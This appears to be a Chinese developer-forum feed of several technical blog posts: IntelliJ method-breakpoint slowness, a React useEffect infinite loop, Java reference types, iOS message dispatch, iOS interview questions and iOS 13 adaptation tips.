官方给出的方案很简单粗暴:

不要使用方法断点,不就没有成本了?

所以,Remove,完事:

Remove method breakpoints and consider using the regular line breakpoints.

删除方法断点并考虑使用常规的 line breakpoints。

官方还是很贴心的,怕你不知道怎么 Remove 还专门补充了一句:

To verify that you don't have any method breakpoints open .idea/workspace.xml file in the project root directory (or .iws file if you are using the old project format) and look for any breakpoints inside the method_breakpoints node.

可以通过下面这个方法去验证你是否打开了方法断点。

就是去 .idea/workspace.xml 文件中,找到 method_breakpoints 这个 Node,如果有就 Remove 一下。

然后我看了一下我项目里面对应的文件,没有找到 method_breakpoints 关键字,但是找到了下面这个。

应该是文档发生了变化,问题不大,反正是一个意思,

其实官方给出的这个方法,虽然逼格稍微高一点,但还是我前面给的这个操作更简单:

针对“到底为什么”这个问题。

在这里,官方给的回答,特别的模糊:because of the JVM design。

别问,问就是由于 JVM 设计如此。

我觉得这不是我想要的答案,但是好在我在这个帖子下面找到了一个“好事之人”写的回复:

这个好事之人叫做 Gabi 老铁,我看到他回复的第一句话 “I made some research”,我就知道,这波稳了,找对地方了,答案肯定就藏在他附上的这个链接里面。

Gabi 老铁说:哥子们,我研究了一下这个方法断点为啥会慢的原因,研究报告在这里:

http://www.smartik.net/2017/11/met…

他甚至还来了一个概要:To make the long story short,长话短时。

他真的很贴心,我哭死。

他首先指出了问题的根本原因:

it seems that the root issue is that Method Breakpoints are implemented by using JDPA's Method Entry & Method Exit feature.

根本问题在于方法断点是通过使用 JDPA 的 Method Entry & Method Exit 特性实现的。

有同学就要问了,JDPA,是啥?

是个宝贝:

docs.oracle.com/javase/8/do…

JPDA,全称 Java Platform Debugger Architecture。

IDEA 里面的各种 Debug 功能,就是基于这个玩意来实现的。

不懂也没关系,这个东西面试又不考,在这里知道有这个技术就行。

接着,他用了四个 any 来完成了跳句四押:

This implementation requires the JVM to fire an event each time any thread enters any method and when any thread exits any method.

这个实现,要求 JVM,每次,在任何(any)线程进入任何(any)方法时,以及在任何(any)线程退出任何(any)方法时触发事件。

好家伙,这不就是个 AOP 吗?

这么一说,我就明白为什么方法断点的性能这么差了。要触发这么多进入方法和退出方法的事件,可不得耗费这么多时间吗?

具体的细节,他在前面说的研究报告里面都写清楚了,如果你对细节感兴趣的话,可以咨询阅读一下他的那篇报告。

话说他这个报告的名字也起的挺唬人的:Method Breakpoints are Evil。

我带你看两个关键的地方。

第一个是关于 Method Entry & Method Exit 的:

  • IDE 将断点添加到其内部方法断点 list 中
  • IDE 告诉前端启用 Method Entry & Method Exit 事件
  • 前端(调试器)通过代理将请求传递给 VM
  • 在每个 Method Entry & Method Exit 事件中,通过整个链将通知转发到 IDE
  • IDE 检查其方法断点 list 是否包含当前的这个方法。
  • 如果发现包含,说明这个方法上有一个方法断点,则 IDE 将向 VM 发送一个 SetBreakpoint 请求,打上断点。否则,VM 的线程将被释放,不会发生任何事情

这里是表明,前面我说的那个类似 AOP 的稍微具体一点的操作。

核心意思就一句话:触发的事件太多,导致性能下降厉害。

第二个关键的地方是这样的:

文章的最后给出了五个结论:

  • 方法断点 IDE 的特性,不是 JPDA 的特性
  • 方法断点是真的邪恶,evil 的一比
  • 方法断点将极大的影响调试程序
  • 只有在真正需要时才使用它们
  • 如果必须使用方法作为断点,请考虑关闭方法退出事件

前面四个点没啥说的了。

最后一个点:考虑关闭方法退出事件。

这个点验证起来非常简单,在方法断点上右键可以看到这个选项,Method Entry & Method Exit 默认都是勾选上了:

所以我在本地随便用一个项目验证了一下。

打开 Method Exit 事件,启动耗时:113.244 秒。

关闭 Method Exit 事件,启动耗时:46.754 秒。

你别说,还真有用。

现在我大概是知道为什么方法断点这么慢了。

这真不是 BUG,而是 feature。

而关于方法断点的这个问题,我顺便在社区搜索了一下,最早我追溯到了 2008 年:

这个老哥说他调试 Web 程序的速度慢到无法使用的程度。他的项目只启用了一行断点,没有方法断点。

请求大佬帮他看看。

然后大佬帮他一顿分析也没找到原因。

他自己也特别的纳闷,说:

我啥也没动,太奇怪了。这玩意有时可以,有时不行。

像不像一句经典台词:

但是问题最后还是解决了。怎么解决的呢?

他自己说:

确实是有个方法断点,他也不知道怎么打上这个断点的,可能和我一样,是手抖了吧。

意外收获

在前面出现的官方帖子的最下面,有这样的两个链接:

它指向了这个地方:

http://www.jetbrains.com/help/idea/d…

我把这部分链接都打开看了一遍,经过鉴定,这可真是好东西啊。

这是官方在手摸手教学,教你如何使用 Debug 模式。

我之前看过的一些调试小技巧相关的文章,原来就是翻译自官方这里啊。

我在这里举两个例子,算是一个导读,强烈推荐那些在 Debug 程序的时候,只知道不停的下一步、跳过当前断点等这样的基本操作的同学去仔细阅读,动手实操一把。

首先是这个:

针对 Java 的 Streams 流的调试。

官方给了一个调试的代码示例,我做了一点点微调,你粘过去就能跑:

class PrimeFinder {

    public static void main(String[] args) {
        IntStream.iterate(1, n -> n + 1)
                .limit(100)
                .filter(PrimeTest::isPrime)
                .filter(value -> value > 50)
                .forEach(System.out::println);
    }
}

class PrimeTest {
    static boolean isPrime(int candidate) {
        return candidate == 91 ||
                IntStream.rangeClosed(2, (int) Math.sqrt(candidate))
                        .noneMatch(n -> (candidate % n == 0));
    }
}
复制代码

代码逻辑很简单,就是找 100 以内的,大于 50 的素数。

很明显,在 isPrime 方法里面对 91 这个非素数做了特殊处理,导致程序最终会输出 91,也就是出 BUG 了。

虽然这个 BUG 一目了然,但是不要笑,要忍住,要假装不知道为什么。

现在我们要通过调试的方式找到 BUG。

断点打在这个位置:

以 Debug 的模式运行的时候,有这样的一个图标:

点击之后会有这样的一个弹窗出来:

上面框起来的是对应着程序的每一个方法调用顺序,以及调用完成之后的输出是什么。

下面框起来的这个 “Flat Mode” 点击之后是这样的:

最右边,也就是经过 filter 之后输出的结果。

里面就包含了 91 这个数:

点击这个 “91”,发现在经过第一个 filter 之后,91 这个数据还在。

说明这个地方出问题了。

而这个地方就是前面提到的对 “91” 做了特殊处理的 isPrime 方法。

这样就能有针对性的去分析这个方法,缩小问题排除范围。

这个功能怎么说呢,反正我的评论是:

总之,以上就是 IDEA 对于 Streams 流进行调试的一个简单示例。

接着再演示一个并发相关的:

官方给了这样的一个示例:

public class ConcurrencyTest {
    static final List a = Collections.synchronizedList(new ArrayList());

    public static void main(String[] args) {
        Thread t = new Thread(() -> addIfAbsent(17));
        t.start();
        addIfAbsent(17);
        t.join();
        System.out.println(a);
    }

    private static void addIfAbsent(int x) {
        if (!a.contains(x)) {
            a.add(x);
        }
    }
}
复制代码

代码里面搞一个线程安全的 list 集合,然后主线程和一个异步线程分别往这个 list 里面塞同一个数据。

按照 addIfAbsent 方法的意思,如果要添加的元素在 list 里面存在了,则不添加。

你说这个程序是线程安全的吗?

肯定不是。

你想想,先判断,再添加,经典的非原子性操作。

但是这个程序你拿去直接跑,又不太容易跑出线程不安全的场景:

怎么办?

Debug 就来帮你干这个事儿了。

在这里打一个断点,然后右键断点,选择 “Thread”:

这样程序跑起来的时候主线程和异步线程都会在这个地方停下来:

可以通过 “Frames” 中的下拉框分别选择 Debug 主线程还是异步线程。

由于两个线程都执行到了 add 方法,所以最终的输出是这样的:

这不就出现线程不安全了吗?

即使你知道这个地方是线程不安全的,但是如果没有 Debug 来帮忙调试,要通过程序输出来验证还是比较困难的。

毕竟多线程问题,大多数情况下都不是每次都能必现的问题。

定位到问题之后,官方也给出了正确的代码片段:

好了,说好了是导读,这都是基本操作。还是那句话,如果感兴趣,自己去翻一下,跟着案例操作一下。

就算你看到有人把 Debug 源码,玩出花来了,也无外乎不过是这样的几个基础操作的组合而已。

回首往事

让我们再次回到官方的“关于 Debug 功能可能会导致的性能缓慢的问题”这个帖子里面:

当我看到方框里面框起来的 “Collections classes” 和 “toString()” 方法的时候,眼泪都快下来了。

我最早开始写文章的时候,曾经被这个玩意坑惨了。

三年前,2019 年,我写了这篇文章《这道Java基础题真的有坑!我也没想到还有续集。》

当时 Debug 调试 ArrayList 的时候遇到一个问题,我一度以为我被质子干扰了:

一句话汇总就是在单线程的情况下,程序直接运行的结果和 Debug 输出的结果是不一样的。

当时我是百思不得其解。

直到 8 个月后,写《JDK的BUG导致的内存溢出!反正我是没想到还能有续集》这篇文章的时候才偶然间找到问题的答案。

根本原因就是在 Debug 模式下,IDEA 会自动触发集合类的 toString 方法。而在某些集合类的 toString 方法里面,会有诸如修改头节点的逻辑,导致程序运行结果和预期的不匹配。

也就是对应这句话:

翻译过来就是:老铁请注意,如果 toString 方法中的代码更改了程序的状态,则在 debug 状态下运行时,这些方法也可以更改应用程序的运行结果。

最后的解决方案就是关闭 IDEA 的这两个配置:

同时,我也在官方文档中找到了这个两个配置的解释:

http://www.jetbrains.com/help/idea/c…

主要是为了在 Debug 的过程中用更加友好的形式显示集合类。

啥意思?

给你看个例子。

这是没有勾选前面说的配置的时候,map 集合在 Debug 模式下的样子:

这是勾选之后,map 集合在 Debug 模式下的样子:

很明显,勾选了之后的样子,更加友好。

收起阅读 »

记录一次React程序死循环

一、错误复现开发环境报如下错误。Maximum update depth exceeded. This can happen when a component repeatedly calls setState inside componentWillUpda...
继续阅读 »

一、错误复现

开发环境报如下错误。

Maximum update depth exceeded. This can happen when a component repeatedly calls setState inside componentWillUpdate or componentDidUpdate. React limits the number of nested updates to prevent infinite loops.

Call Stack
 checkForNestedUpdates
  website/./node_modules/react-dom/cjs/react-dom.development.js:4013:321
 scheduleUpdateOnFiber
  website/./node_modules/react-dom/cjs/react-dom.development.js:3606:187
 dispatchAction
  website/./node_modules/react-dom/cjs/react-dom.development.js:2689:115
 eval
  website/./src/components/FileUpload.jsx:73:7
 invokePassiveEffectCreate
  website/./node_modules/react-dom/cjs/react-dom.development.js:3960:1047
 HTMLUnknownElement.callCallback
  website/./node_modules/react-dom/cjs/react-dom.development.js:657:119
 Object.invokeGuardedCallbackDev
  website/./node_modules/react-dom/cjs/react-dom.development.js:677:45
 invokeGuardedCallback
  website/./node_modules/react-dom/cjs/react-dom.development.js:696:126
 flushPassiveEffectsImpl
  website/./node_modules/react-dom/cjs/react-dom.development.js:3968:212
 unstable_runWithPriority
  website/./node_modules/scheduler/cjs/scheduler.development.js:465:16

二、错误排查

  1. 通过注释代码的方式,发现出问题的地方,是Assets组件中引用的FileUpload出了问题。正好最近也修改过FileUpload组件。
  2. 通过sourcetree对比git记录,看FileUpload组件被修改了什么?如下图。
  3. 再对比错误提示中的描述,其中componentWillUpdate or componentDidUpdate,推测就是指新增的useEffect代码片断。
  4. 将上述useEffect代码片断注释掉,果然错误消失。

三、原因分析

useEffect的特性表明,只要initFiles发生了改变,46-48行代码就会执行。
既然上述useEffect代码片断事实上造成了死循环,就还说明了一点:

  • setFileList(initFiles)改变了initFiles,才使得useEffect中的函数再次被调用。

那么,initFiles到底是经历了怎样的变化,才使得调用能够循环往复地发生呢?

输出fileListinitFiles

console.log(fileList === initFiles)

可以发现,只有第一次render时输出true,后续全部是false

  • 第一次输出true,表明useState的入参为array时,只是简单的赋值关系,fileListinitFiles指定了同一个内存地址。
  • setFileList函数实际上是做了一次浅拷贝,然后赋值给fileList,改变了fileList的内存指向,也就是改变了最新initFiles的内存指向。同时React保留了之前initFiles的值用来做依赖对比。
  • useEffect在对比引用类型的依赖,比如object/array时,采用的是简单的===操作符,也就是说比较内存地址是否一致。
  • 前后两次initFiles虽然内部数据相同,但内存指向不同,就被useEffect认为【依赖发生了改变】,从而导致了死循环。

四、解决方案1

  • 尽量不直接使用object或者array作为依赖项,而是使用值类型来代替引用类型

    useEffect(() => {
    //...
    }, [initFiles.length])

五、解决方案2

是不是在调用useState时,拷贝initFiles就可以了呢?

const [fileList, setFileList] = useState([...initFiles])

useEffect(() => {
if (fileList.length === 0) {
setFileList([...initFiles])
}
}, [initFiles])

这样依然会报同样的死循环错误,这又是为什么呢?

initFiles是从父组件传入的,会不会是FileUpload组件重新render的时候,initFiles已经被重新赋值了呢?接下来的两个demo,证明了这个推测。

  • Demo1 - 慎重打开。打开后会卡死浏览器标签: initFiles初始化时,使用[]作为默认值,结果出现死循环。
  • Demo1 - 放心打开。打开后不执行JS,不会卡死浏览器,可放心查看代码。
  • Demo2:initFiles初始化时,不使用默认值,且父组件不更新,结果不出现死循五。

Demo1中,initFiles作为一个prop,每次render时,都会被赋值为一个新的空数组,改变了其内存指向。导致useEffect不断执行。

const FileUpload = ({initFiles=[]}) => {}

Demo2中,initFiles的值完全由父组件传入,父组件的变量不变化时,initFiles没有改变。

const FileUpload = ({initFiles=[]}) => {}
const App = () => {
return <FileUpload initFiles={[]} />
}

也就是说,只要保障initFiles不被循环赋值,就能够避免死循环。

六、结论

不建议将引用类型如array/object作为useEffect的依赖项,因欺触发bug的可能性很大,而且排查错误比较困难。

建议使用一到多个值类型作为useEffect依赖项。

原文链接:https://segmentfault.com/a/1190000042302716


收起阅读 »

Java四大引用详解:强引用、软引用、弱引用、虚引用

面试官考察Java引用会问到强引用、弱引用、软引用、虚引用,具体有什么区别?本篇单独来详解 @mikechen Java引用 从JDK 1.2版本开始,对象的引用被划分为4种级别,从而使程序能更加灵活地控制对象的生命周期,这4种级别由高到低依次为:强引用、软引...
继续阅读 »

面试官考察Java引用会问到强引用、弱引用、软引用、虚引用,具体有什么区别?本篇单独来详解 @mikechen


Java引用


从JDK 1.2版本开始,对象的引用被划分为4种级别,从而使程序能更加灵活地控制对象的生命周期,这4种级别由高到低依次为:强引用、软引用、弱引用和虚引用。


强引用


强引用是最普遍的引用,一般把一个对象赋给一个引用变量,这个引用变量就是强引用。


比如:


//  强引用
MikeChen mikechen=new MikeChen();

在一个方法的内部有一个强引用,这个引用保存在Java栈中,而真正的引用内容(MikeChen)保存在Java堆中。



如果一个对象具有强引用,垃圾回收器不会回收该对象,当内存空间不足时,JVM 宁愿抛出 OutOfMemoryError异常。


如果强引用对象不使用时,需要弱化从而使GC能够回收,如下:


//帮助垃圾收集器回收此对象
mikechen=null;

显式地设置mikechen对象为null,或让其超出对象的生命周期范围,则GC认为该对象不存在引用,这时就可以回收这个对象,具体什么时候收集这要取决于GC算法。


举例:


package com.mikechen.java.refenence;

/**
* 强引用举例
*
* @author mikechen
*/
public class StrongRefenenceDemo {

    public static void main(String[] args) {
        Object o1 = new Object();
        Object o2 = o1;
        o1 = null;
        System.gc();
        System.out.println(o1);  //null
        System.out.println(o2);  //java.lang.Object@2503dbd3
    }
}

StrongRefenenceDemo 中尽管 o1已经被回收,但是 o2 强引用 o1,一直存在,所以不会被GC回收。


 


软引用


软引用是一种相对强引用弱化了一些的引用,需要用java.lang.ref.SoftReference 类来实现。


比如:


String str=new String("abc");                                     // 强引用
SoftReference<String> softRef=new SoftReference<String>(str);     // 软引用

如果一个对象只具有软引用,则内存空间足够,垃圾回收器就不会回收它,如果内存空间不足了,就会回收这些对象的内存。


先通过一个例子来了解一下软引用:


/**
* 弱引用举例
*
* @author mikechen
*/
Object obj = new Object();
SoftReference softRef = new SoftReference<Object>(obj);//删除强引用
obj = null;//调用gc

// 对象依然存在
System.gc();System.out.println("gc之后的值:" + softRef.get());

软引用可以和一个引用队列(ReferenceQueue)联合使用,如果软引用所引用对象被垃圾回收,Java虚拟机就会把这个软引用加入到与之关联的引用队列中。


ReferenceQueue<Object> queue = new ReferenceQueue<>();
Object obj = new Object();
SoftReference softRef = new SoftReference<Object>(obj,queue);//删除强引用
obj = null;//调用gc
System.gc();
System.out.println("gc之后的值: " + softRef.get()); // 对象依然存在
//申请较大内存使内存空间使用率达到阈值,强迫gc
byte[] bytes = new byte[100 * 1024 * 1024];//如果obj被回收,则软引用会进入引用队列
Reference<?> reference = queue.remove();if (reference != null){
    System.out.println("对象已被回收: "+ reference.get());  // 对象为null
}

软引用通常用在对内存敏感的程序中,比如高速缓存就有用到软引用,内存够用的时候就保留,不够用就回收。


我们看下 Mybatis 缓存类 SoftCache 用到的软引用:


public Object getObject(Object key) {
    Object result = null;
    SoftReference<Object> softReference = (SoftReference)this.delegate.getObject(key);
    if (softReference != null) {
        result = softReference.get();
        if (result == null) {
            this.delegate.removeObject(key);
        } else {
            synchronized(this.hardLinksToAvoidGarbageCollection) {
                this.hardLinksToAvoidGarbageCollection.addFirst(result);
                if (this.hardLinksToAvoidGarbageCollection.size() > this.numberOfHardLinks) {
                    this.hardLinksToAvoidGarbageCollection.removeLast();
                }
            }
        }
    }
    return result;}

注意:软引用对象是在jvm内存不够的时候才会被回收,我们调用System.gc()方法只是起通知作用,JVM什么时候扫描回收对象是JVM自己的状态决定的,就算扫描到软引用对象也不一定会回收它,只有内存不够的时候才会回收。


 


弱引用


弱引用的使用和软引用类似,只是关键字变成了 WeakReference:


MikeChen mikechen = new MikeChen();
WeakReference<MikeChen> wr = new WeakReference<MikeChen>(mikechen );

弱引用的特点是不管内存是否足够,只要发生 GC,都会被回收。


举例说明:


package com.mikechen.java.refenence;

import java.lang.ref.WeakReference;

/**
* 弱引用
*
* @author mikechen
*/
public class WeakReferenceDemo {
    public static void main(String[] args) {
        Object o1 = new Object();
        WeakReference<Object> w1 = new WeakReference<Object>(o1);

        System.out.println(o1);
        System.out.println(w1.get());

        o1 = null;
        System.gc();

        System.out.println(o1);
        System.out.println(w1.get());
    }
}

 


弱引用的应用


WeakHashMap


public class WeakHashMapDemo {

    public static void main(String[] args) throws InterruptedException {
        myHashMap();
        myWeakHashMap();
    }

    public static void myHashMap() {
        HashMap<String, String> map = new HashMap<String, String>();
        String key = new String("k1");
        String value = "v1";
        map.put(key, value);
        System.out.println(map);

        key = null;
        System.gc();

        System.out.println(map);
    }

    public static void myWeakHashMap() throws InterruptedException {
        WeakHashMap<String, String> map = new WeakHashMap<String, String>();
        //String key = "weak";
        // 刚开始写成了上边的代码
        //思考一下,写成上边那样会怎么样? 那可不是引用了
        String key = new String("weak");
        String value = "map";
        map.put(key, value);
        System.out.println(map);
        //去掉强引用
        key = null;
        System.gc();
        Thread.sleep(1000);
        System.out.println(map);
    }}

当key只有弱引用时,GC发现后会自动清理键和值,作为简单的缓存表解决方案。


ThreadLocal


static class ThreadLocalMap {

    static class Entry extends WeakReference<ThreadLocal<?>> {
        Object value;

        Entry(ThreadLocal<?> k, Object v) {
            super(k);
            value = v;
        }
    }
    //......}

ThreadLocal.ThreadLocalMap.Entry 继承了弱引用,key为当前线程实例,和WeakHashMap基本相同。


 


虚引用


虚引用”顾名思义,就是形同虚设,与其他几种引用都不同,虚引用并不会决定对象的生命周期。如果一个对象仅持有虚引用,那么它就和没有任何引用一样,在任何时候都可能被垃圾回收器回收。


虚引用也称为“幽灵引用”或者“幻影引用”,它是最弱的一种引用关系。


虚引用需要java.lang.ref.PhantomReference 来实现:


A a = new A();
ReferenceQueue<A> rq = new ReferenceQueue<A>();
PhantomReference<A> prA = new PhantomReference<A>(a, rq);
复制代码

虚引用主要用来跟踪对象被垃圾回收器回收的活动。


虚引用与软引用和弱引用的一个区别在于:虚引用必须和引用队列 (ReferenceQueue)联合使用,当垃圾回收器准备回收一个对象时,如果发现它还有虚引用,就会在回收对象的内存之前,把这个虚引用加入到与之 关联的引用队列中。


 


Java引用总结


java4种引用的级别由高到低依次为:强引用 > 软引用 > 弱引用 > 虚引用。



以上


作者:mikechen的互联网架构
链接:https://juejin.cn/post/7131175540874018830
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 收起阅读 »

iOS 消息调用过程

iOS
iOS 消息调用属于基本知识,苹果官方有一个详细的介绍图:iOS 工程中,调用对象的方法,就是向对象发送消息。我们知道,iOS 中的方法分为实例方法和对象方法。iOS 所有的对象都是继承至 NSObject, 编译完成后,在对象的定义中,存在一个实例方法链表、...
继续阅读 »

iOS 消息调用属于基本知识,苹果官方有一个详细的介绍图:


iOS 工程中,调用对象的方法,就是向对象发送消息。我们知道,iOS 中的方法分为实例方法和对象方法。iOS 所有的对象都是继承至 NSObject, 编译完成后,在对象的定义中,存在一个实例方法链表、一个缓存方法链表。当对实例 son 发送消息后,会在 son 缓存方法链表中寻找;缓存中没有时,向实例方法链表寻找;再找不到,会向父类的实例方法缓存链表 -> 父类的实例方法链表寻找,直至 NSObject。在 NSObject 中会经历以下两个步骤:
1 - (BOOL)resolveInstanceMethod:(SEL)sel ; 
2 - (id)forwardingTargetForSelector:(SEL)aSelector ;

如果在步骤 2 中范围 nil, 就会触发 iOS 的崩溃。

当向 Son 发送类方法时,会首先向 Son 的元类 metaClass 中的类缓存方法链表中寻找,然后类方法链表,然后直接在 NSObject 进行缓存方法链表 -> 类方法链表的寻找路径 . 在 NSObject 中会经历如下两个步骤:


实例的 methodList 链表中寻找方法,找不到时会寻找 Son 的类方法,仍然找不到时,会寻找父类的方法链表,直到 NSObject 。


其中不同对象间的切换,通过 isa 指针完成,实例 son 的 isa 指向类 Son, 类 Son 的 isa 指向元类,元类的 isa 指向父类的元类, 父类的元类向上传递,直至 NSObject .


NSObject 的指针 isa 指向其本身,在想 NSObject 发送消息时,会经历如下步骤:

1 + (BOOL)resolveClassMethod:(SEL)sel ; 
2 - (void)doesNotRecognizeSelector:(SEL)aSelector ;
当调用方法 2 时,会触发 iOS 的崩溃。利用以上机制,可以对resolveInstanceMethod 和 resolveClassMethod 两个方法进行方法交换,拦截可能出现的 iOS 崩溃,然后自定义处理。
作者:iOS猿_员
链接:https://www.jianshu.com/p/1a76ccad4e73
来源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
收起阅读 »

iOS面试--虎牙最新iOS开发面试题

iOS
关于面试题,可能没那么多时间来总结答案,有什么需要讨论的地方欢迎大家指教。主要记录一下准备过程,和面试的一些总结,希望能帮助到正在面试或者将要面试的同学吧。 一面 项目架构,项目是自己写的吗 fps是怎么计算的 除了用cadisplay,还有什么方法吗 kv...
继续阅读 »

关于面试题,可能没那么多时间来总结答案,有什么需要讨论的地方欢迎大家指教。主要记录一下准备过程,和面试的一些总结,希望能帮助到正在面试或者将要面试的同学吧。


一面



  • 项目架构,项目是自己写的吗

  • fps是怎么计算的

  • 除了用cadisplay,还有什么方法吗

  • kvo怎么实现

  • leaks怎么实现

  • 如何代码实现监听僵尸对象

  • imageWithName什么时候发生编解码,在什么线程

  • isa指针里面有什么

  • 消息发送和消息转发流程

  • 函数里面的参数怎么存储

  • oc一个空函数里面有参数吗

  • 他们存在栈还是寄存器

  • 红黑树等查找时间复杂度

  • nsdictionary的实现

  • iOS的各种锁

  • 如何实现dispatch once,要考虑什么问题

  • 同一线程里面使用两个@synconize会怎么样,是递归锁还是非递归锁

  • 如何增加按钮点击范围


二面



  • 说一下ARC

  • autoreleasepool可以用来干嘛

  • 里面的对象什么时候释放,是出来就释放吗

  • 消息转发可以用来干什么

  • runloop是干什么,你用来干什么了

  • 说一下c++多态和虚函数表

  • TCP如何保证数据传输完整性

  • TCP为什么三次握手

  • http和https,全程都是非对称加密吗

  • 开放性问题,很多乱序数据过来,你要怎么考虑排序方法的设计

  • 对RxSwift的看法,有用过吗?


三面



  • iOS对象指针大小

  • 对象分配到堆还是栈

  • http怎么区分header和body

  • 多线程可以访问同一个对象吗,多进程呢

  • 视频pts和dts

  • 视频丢帧丢哪个好点

  • iOS各种锁的性能,琐是毫秒级别还是微妙级别

  • http请求是异步还是同步

  • 怎么看待rn和flutter


作者:iOS弗森科
链接:https://www.jianshu.com/p/17849abb722c
来源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
收起阅读 »

iOS之iOS13适配总结

iOS
前言 随便iOS开发开始更新变成Xcode11,适配iOS13变成了现在的当务之急。 新特性适配 一、新添加的Dark Mode iOS 13 推出暗黑模式,UIKit 提供新的系统颜色和 api 来适配不同颜色模式,xcassets 对素材适配也做了调整,具...
继续阅读 »

前言


随便iOS开发开始更新变成Xcode11,适配iOS13变成了现在的当务之急。


新特性适配


一、新添加的Dark Mode


iOS 13 推出暗黑模式,UIKit 提供新的系统颜色和 api 来适配不同颜色模式,xcassets 对素材适配也做了调整,具体适配可见: Implementing Dark Mode on iOS


切换、修改当前 UIViewController 或 UIView的模式。只要设置了控制器为暗黑模式,那么它子view也会对应的修改。



  • 只修改当前UIViewController或UIView的模式。

  • 只要设置了控制器为暗黑模式,那么它子view也会对应的修改。


代码如下:

if (@available(iOS 13.0, *)) {
self.overrideUserInterfaceStyle = UIUserInterfaceStyleDark;//UIUserInterfaceStyleLight
} else {
// Fallback on earlier versions
}
注意当我们在window上设置 overrideUserInterfaceStyle的时候,就会影响 window下所有的controller,view,包括后续推出的 controller。



二、使用KVC访问私有变量已发崩溃


iOS13之后就不能通过KVC访问修改私有属性,不然就会找不到这个key,从而引发崩溃。


目前搜集到的KVC访问权限引发崩溃的方法:



  1. UIApplication -> _statusBar

  2. UITextField -> _placeholderLabel

  3. UITabBarButton -> _info

  4. UISearchBar -> _searchField

  5. UISearchBar -> _cancelButton

  6. UISearchBar -> _cancelButtonText

  7. UISearchBar -> UISearchBarBackground


1、UIApplication -> _statusBar 获取状态栏崩溃


在iOS13上获取状态栏statusBar,不能直接用KVC。要使用performSelector

UIStatusBarManager *statusBarManager = [UIApplication sharedApplication].keyWindow.windowScene.statusBarManager;
UIView *statusBar;
#pragma clang diagnostic push
#pragma clang diagnostic ignored "-Wundeclared-selector"
if([statusBarManager respondsToSelector:@selector(createLocalStatusBar)]) {

UIView *localStatusBar= [statusBarManager performSelector:@selector(createLocalStatusBar)];
if ([localStatusBar respondsToSelector:@selector(statusBar)]) {

statusBar = [localStatusBar performSelector:@selector(statusBar)];
}
}



适配的时候就是iOS13和非iOS13

if(@available(iOS 13.0, *)) {

//上面获取statusBar代码
} else {

UIView *statusBar = [[UIApplication sharedApplication]
valueForKey:@"statusBar"];

}



2、UITextField -> _placeholderLabel


在iOS13 UITextField通过KVC来获取_placeholderLabel会引发崩溃。

//在ios13使用会引发崩溃
[self.textField setValue:self.placeholderColor
forKeyPath:@"_placeholderLabel.textColor"];



崩溃如下:

'Access to UITextField's _placeholderLabel ivar is prohibited. 
This is an application bug'

解决方案:UITextField有个attributedPlaceholder的属性,我们可以自定义这个富文本来达到我们需要的结果。

NSMutableAttributedString *placeholderString = [[NSMutableAttributedString alloc] initWithString:placeholder 
attributes:@{NSForegroundColorAttributeName : self.placeholderColor}];
_textField.attributedPlaceholder = placeholderString;



3、UISearchBar 黑线处理导致崩溃


iOS13之前为了处理搜索框的黑线问题,通常会遍历searchBar的 subViews,找到并删除UISearchBarBackground。


在 iOS13 中这么做会导致UI渲染失败,然后直接崩溃,崩溃信息如下:

erminating app due to uncaught exception'NSInternalInconsistencyException', reason: 'Missing or detached view for search bar layout'



解决方案:修改方法为:设置 UISearchBarBackground 的 layer.contents 为 nil

for (UIView *view in _searchBar.subviews.lastObject.subviews) {
if ([view isKindOfClass:NSClassFromString(@"UISearchBarBackground")]) {
view.layer.contents = nil;
break;
}
}



4、iOS UISearchBar通过kvc获取_cancelButtonText、_cancelButton、_searchField引发崩溃。


先说一下_searchField来说明的解决方案。


在iOS13之前,我们通过"_searchField"来获取UISearchTextField来修改一些属性。

UITextField *searchFiled = [self valueForKey:@"_searchField"];



但在iOS13会引发崩溃,解决方案就是在iOS13中引入了名为searchTextField的属性。

@property (nonatomic, readonly) UISearchTextField *searchTextField;

查看一下UISearchTextField

UIKIT_CLASS_AVAILABLE_IOS_ONLY(13.0)
@interface UISearchTextField : UITextField
///功能省略
@end



发现UISearchTextField继承UITextField,代码实现:

UITextField *searchField;
if(@available(iOS 13.0, *)) {
//UISearchBar的self.searchTextField属性是readonly,不能直接用
searchField = self.searchTextField;
} else {
searchField = [self valueForKey:@"_searchField"];
}

三、presentViewController 默认弹出样式



  • 苹果将 UIViewController 的 modalPresentationStyle 属性的默认值改成了新加的一个枚举值 UIModalPresentationAutomatic,对于多数 UIViewController,此值会映射成 UIModalPresentationPageSheet。

  • iOS13系统的默认样式是: UIModalPresentationAutomatic

  • iOS12及以下系统的默认样式是:UIModalPresentationFullScreen;


想要改成以前默认的样式

- (UIModalPresentationStyle)modalPresentationStyle {
return UIModalPresentationFullScreen;
}



四、AVPlayerViewController 替换MPMoviePlayerController


在 iOS 9 之前播放视频可以使用 MediaPlayer.framework 中的MPMoviePlayerController类来完成,它支持本地视频和网络视频播放。但是在 iOS 9 开始被弃用,如果在 iOS 13 中继续使用的话会直接抛出异常:

'MPMoviePlayerController is no longer available. Use AVPlayerViewController in AVKit.'

解决方案:

既然不能再用了,那只能换掉了。替代方案就是AVKit里面的那套播放器。


五、废弃UIWebview 改用 WKWebView


iOS13 开始苹果将 UIWebview 支持的系统(iOS2.0-iOS12.0),目前提交苹果应用市场(App Store)会发送邮件提示你在下一次提交时将应用中UIWebView的api移除。


虽然暂时没有强制必须替换WKWebView,但是在iOS13开始UIWebView已是废弃的API,所以还是越早换越好。


六、iOS13 获取window适配


在iOS13通过UIWindowScene的方式获取window

UIWindow* window = nil;
if (@available(iOS 13.0, *)) {
for (UIWindowScene* windowScene in [UIApplication sharedApplication].connectedScenes) {
if (windowScene.activationState == UISceneActivationStateForegroundActive) {
window = windowScene.windows.firstObject;
break;
}
}
}else{
window = [UIApplication sharedApplication].keyWindow;
}



七、iOS13 废弃LaunchImage


从iOS8的时候,苹果就引入了LaunchScreen,我们可以设置 LaunchScreen来作为启动页。当然,现在你还可以使用LaunchImage来设置启动图。


但是从2020年4月开始,所有使⽤ iOS13 SDK的 App将必须提供 LaunchScreen,LaunchImage即将退出历史舞台。使用LaunchScreen有点:



  • 不需要单独适配种屏幕尺寸的启动图

  • LaunchScreen是支持AutoLayout+SizeClass的,所以适配各种屏幕都不在话下


七、iOS13 适配UISegmentedControl


默认样式变为白底黑字,如果设置修改过颜色的话,页面需要修改。

如下图:



其次设置选中颜色的tintColor属性在iOS13已经失效,所以在iOS13新增新增了selectedSegmentTintColor 属性用以修改选中的颜色。


